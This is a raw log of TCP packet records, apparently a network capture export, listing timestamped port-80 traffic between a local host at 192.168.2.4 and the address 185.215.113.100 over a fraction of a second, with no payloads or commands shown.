Sep 1, 2024 01:22:10.352921963 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.352922916 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.352932930 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.352948904 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.352974892 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.353094101 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.353115082 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.353125095 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.353136063 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.353162050 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.353295088 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.353305101 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.353315115 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.353331089 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.353337049 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.353343010 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.353352070 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.353357077 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.353368998 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.353379965 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.353380919 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.353390932 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.353410006 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.353415966 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.353426933 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.353437901 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.353446007 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.353456020 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.353456974 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.353466988 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.353477001 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.353481054 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.353499889 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.353507042 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.353513002 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.353516102 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.353523970 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.353533983 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.353544950 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.353545904 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.353555918 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.353564024 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.353566885 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.353584051 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.353584051 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.353595018 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.353598118 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.353605986 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.353617907 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.353619099 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.353631020 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.353640079 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.353641987 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.353651047 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.353662968 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.353672028 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.353674889 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.353678942 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.353694916 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.353705883 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.353705883 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.353715897 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.353725910 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.353734970 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.353737116 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.353744984 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.353749037 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.353755951 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.353760004 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.353766918 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.353784084 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.353789091 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.353794098 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.353801966 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.353806973 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.353827953 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.353842020 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.354135990 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.354181051 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.354274988 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.354285002 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.354300022 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.354310989 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.354319096 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.354321003 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.354331017 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.354336977 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.354341030 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.354350090 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.354361057 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.354387999 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.437849045 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.437911034 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.438019991 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.438033104 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.438043118 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.438052893 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.438066006 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.438072920 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.438083887 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.438091040 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.438102007 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.438111067 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.438112974 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.438122034 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.438132048 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.438133001 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.438143015 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.438144922 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.438153028 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.438163996 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.438170910 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.438173056 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.438194990 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.438206911 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.438211918 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.438220024 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.438227892 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.438232899 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.438241959 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.438251019 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.438257933 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.438261032 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.438271999 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.438282013 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.438287020 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.438299894 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.438314915 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.438333988 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.438500881 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.438512087 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.438522100 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.438530922 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.438538074 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.438541889 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.438549995 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.438559055 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.438568115 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.438571930 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.438587904 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.438590050 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.438601017 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.438610077 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.438617945 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.438641071 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.438641071 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.438643932 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.438661098 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.438661098 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.438672066 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.438680887 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.438683033 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.438693047 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.438694000 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.438703060 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.438711882 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.438729048 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.438750982 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.438781023 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.438791037 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.438802004 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.438811064 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.438821077 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.438827991 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.438828945 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.438838005 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.438849926 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.438855886 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.438858986 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.438868999 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.438877106 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.438879013 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.438889980 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.438895941 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.438921928 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.438929081 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.438937902 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.438942909 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.438952923 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.438962936 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.438970089 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.438982010 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.438991070 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.438992023 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.439003944 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.439013004 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.439019918 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.439024925 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.439033985 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.439043999 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.439083099 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.439112902 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.439122915 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.439132929 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.439141989 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.439152956 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.439157009 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.439163923 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.439172983 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.439179897 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.439198971 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.439210892 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.439241886 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.439282894 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.439352989 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.439363003 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.439372063 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.439382076 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.439393997 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.439403057 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.439425945 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.439431906 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.439441919 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.439461946 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.439464092 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.439472914 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.439480066 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.439483881 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.439497948 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.439500093 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.439512014 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.439512014 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.439522028 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.439532995 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.439534903 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.439534903 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.439543962 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.439553022 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.439555883 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.439573050 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.439580917 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.439619064 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.439629078 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.439639091 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.439649105 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.439659119 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.439666986 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.439673901 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.439702988 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.439743996 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.439755917 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.439768076 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.439775944 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.439779043 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.439789057 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.439798117 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.439802885 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.439804077 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.439814091 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.439822912 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.439822912 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.439840078 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.439851046 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.439857006 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.439867973 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.439872980 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.439882040 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.439883947 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.439898014 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.439903021 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.439909935 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.439927101 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.439927101 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.439937115 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.439945936 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.439948082 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.439965963 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.439970016 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.439975023 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.439984083 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.439984083 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.440001011 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.440010071 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.440011978 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.440022945 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.440033913 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.440037966 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.440045118 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.440048933 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.440077066 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.440084934 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.440463066 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.440504074 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.440579891 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.440591097 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.440601110 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.440610886 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.440617085 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.440619946 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.440629005 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.440630913 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.440640926 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.440644979 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.440670013 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.440679073 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.524249077 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.524303913 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.524313927 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.524322033 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.524333000 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.524343967 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.524344921 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.524362087 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.524362087 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.524373055 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.524375916 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.524383068 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.524393082 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.524400949 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.524414062 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.524419069 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.524425030 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.524435997 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.524436951 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.524444103 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.524456978 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.524460077 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.524471045 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.524475098 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.524492979 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.524504900 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.524554014 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.524563074 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.524568081 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.524574041 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.524583101 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.524595976 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.524599075 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.524604082 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.524610043 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.524621964 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.524625063 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.524643898 CEST	49730	80	192.168.2.4	185.215.113.100
